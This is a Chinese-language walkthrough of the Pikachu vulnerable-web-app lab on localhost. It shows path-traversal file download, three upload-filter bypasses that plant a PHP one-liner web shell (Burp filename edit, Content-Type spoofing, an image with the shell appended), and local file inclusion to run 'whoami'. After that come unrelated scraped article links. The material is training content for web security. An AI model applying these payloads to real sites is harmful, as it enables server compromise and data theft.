pikachu 文件包含,上传,下载





随便复制一个下载链接,发现
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=lmx.png
不是根据路径下载,而是通过传参下载图片。
于是照常构造payload
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../../flag
访问此链接,发现开始下载flag文件,任意文件下载漏洞产生。


二、文件上传

1.client check
所以我们首先要判断是前端验证还是后端验证,利用审查元素来判断。

跟踪此函数,得到前端js校验代码
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+);
//比较
for(var i=;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
所以此文件上传过滤可以利用burp来修改,我们先选择gif后缀的php一句话木马文件

点击上传,利用burp拦截数据包

修改filename为S4tan.php点击forward

上传成功,路径为uploads/S4tan.php
所以我们构造payload直接执行命令
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/S4tan.php?S4tan=whoami
查看返回结果

执行命令成功,getsgell
2.MIME type
同上,但是这次通过查看审查元素,没有发现有前端验证,然后根据测试发现只能传图片文件,但没有检测文件名。

点击上传。

//只通过判断Content-Type: 字段来确定文件类型
//修改filename即可
Content-Disposition: form-data; name="uploadfile"; filename="S4tan.php"
Content-Type: image/jpeg
发现PHP文件上传成功

上传路径为
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/S4tan.php
同上,payload为
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/S4tan.php?S4tan=whoami

3.getimagesize
同上,经过判定无前端验证,提交一句话测试。


发现服务器判定文件为假图片,根据此漏洞名可以判定为,此上传过滤依靠文件大小进行判定,将一句话木马拼接在图片后面。

生成了一个图片马
然后上传发现,修改filename来绕过后端检查失败

可以判定为白名单,只能使用00截断试一试

发现没用,服务器端将你上传的文件进行重命名了,所以要想此文件被解析成php文件,我们只能利用文件包含漏洞去包含图片马。
利用之前文件包含漏洞的payload去包含此图片马,构造payload
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2019/12/18/2995075df98e5321bfa031351942.jpg&submit=%E6%8F%90%E4%BA%A4
执行whoami

发现执行成功。
pikachu 文件包含,上传,下载的更多相关文章
- 在Window的IIS中创建FTP的Site并用C#进行文件的上传下载
文件传输协议 (FTP) 是一个标准协议,可用来通过 Internet 将文件从一台计算机移到另一台计算机. 这些文件存储在运行 FTP 服务器软件的服务器计算机上. 然后,远程计算机可以使用 FTP ...
- 创建FTP的Site并用C#进行文件的上传下载
创建FTP的Site并用C#进行文件的上传下载 文件传输协议 (FTP) 是一个标准协议,可用来通过 Internet 将文件从一台计算机移到另一台计算机. 这些文件存储在运行 FTP 服务器软件的服 ...
- linux链接及文件互相上传下载
若排版紊乱可查看我的个人博客原文地址 基本操作 本篇博客主要介绍如何去链接远程的linux主机及如何实现本地与远程主机之间文件的上传下载操作,下面的linux系统是CentOS6.6 链接远程linu ...
- Spring实现文件的上传下载
背景:之前一直做的是数据库的增删改查工作,对于文件的上传下载比较排斥,今天研究了下具体的实现,发现其实是很简单.此处不仅要实现单文件的上传,还要实现多文件的上传. 单文件的下载知道了,多文件的下载呢? ...
- SocketIo+SpringMvc实现文件的上传下载
SocketIo+SpringMvc实现文件的上传下载 socketIo不仅可以用来做聊天工具,也可以实现局域网(当然你如果有外网也可用外网)内实现文件的上传和下载,下面是代码的效果演示: GIT地址 ...
- JAVAWEB之文件的上传下载
文件上传下载 文件上传: 本篇文章使用的文件上传的例子使用的都是原生技术,servelt+jdbc+fileupload插件,这也是笔者的习惯,当接触到某些从未接触过的东西时,总是喜欢用最原始的东西将 ...
- SSM框架之中如何进行文件的上传下载
SSM框架的整合请看我之前的博客:http://www.cnblogs.com/1314wamm/p/6834266.html 现在我们先看如何编写文件的上传下载:你先看你的pom.xml中是否有文件 ...
- python使用ftplib模块实现FTP文件的上传下载
python已经默认安装了ftplib模块,用其中的FTP类可以实现FTP文件的上传下载 FTP文件上传下载 # coding:utf8 from ftplib import FTP def uplo ...
- php文件夹上传下载控件分享
用过浏览器的开发人员都对大文件上传与下载比较困扰,之前遇到了一个php文件夹上传下载的问题,无奈之下自己开发了一套文件上传控件,在这里分享一下.希望能对你有所帮助. 以下是实例的部分脚本文件 这里我先 ...
- 使用Fileupload完成文件的上传下载
目录 使用Fileupload完成文件的上传下载 为什么需要进行文件上传下载? 引入jar包 文件上传 注意事项 编写一个简单的文件上传jsp页面 编写Servlet Student类用于封装数据,后 ...
随机推荐
- go 学习笔记之环境搭建
千里之行始于足下,开始 Go 语言学习之旅前,首先要搭建好本地开发环境,然后就可以放心大胆瞎折腾了. Go 的环境安装和其他语言安装没什么特别注意之处,下载安装包下一步下一步直到完成,可能唯一需要注意 ...
- tcp 和UDP
文章目录前言1. UDP2. TCP2.1 TCP 的三次握手2.2 TCP 四次挥手2.3 累计确认2.4 顺序问题和丢包问题2.5 流量控制的问题2.6 拥塞控制的问题总结及面试问题前言前端的 ...
- 简化wcf的service设置
使用wcf作为c/s的通信桥梁,就免不了要写wcf service,更免不了写一些配置. 但是在把系统中所有的.net remoting service都转换成wcf service以后,发现居然有2 ...
- orchard 中文文档 中英对照版
ORCHARD CMS a free, open source, community-focused Content Management System built on the ASP.NET MV ...
- ubuntu16.04跑通Mask R-CNN Demo
1. 下载源码: git clone https://github.com/matterport/Mask_RCNN 2. 安装依赖项(其实就是程序的运行环境) 我是用conda新建的虚拟环境. (1 ...
- 一.OS运行机制
运行机制: 1.中断(外部) =====一种通知行为(例如插入键盘) 2.系统调用(主动反应) ===一种请求行为 3.异常(内部) =====一种错误处理行为 系统调用和程序接口的关系,接口把系统调 ...
- Oracle数据库rownum用法集锦
Oracle中rownum可以用来限制查询 具体用法: 1.返回查询集合中的第1行 select * from tableName where rownum = 1 2.返回查询集合中的第2行 错误示 ...
- Java代理类Proxy的用法
代理(proxy) 利用代理可以在运行时创建一个实现了一组给定接口的新类.这种功能只有在编译时无法确定需要实现哪个接口时才有必要使用. 何时使用代理 假设有一个表示接口的Class对象(有可能只包含一 ...
- python asyncio 协程调用task步骤
import asyncio async def compute(x, y): print("Compute %s + %s ..." % (x, y)) await asynci ...
- K8S集群集成harbor(1.9.3)服务并配置HTTPS
一.简介 简介请参考:https://www.cnblogs.com/panwenbin-logs/p/10218099.html 二.安装Harbor主机环境及安装要求 主机环境: OS: Cent ...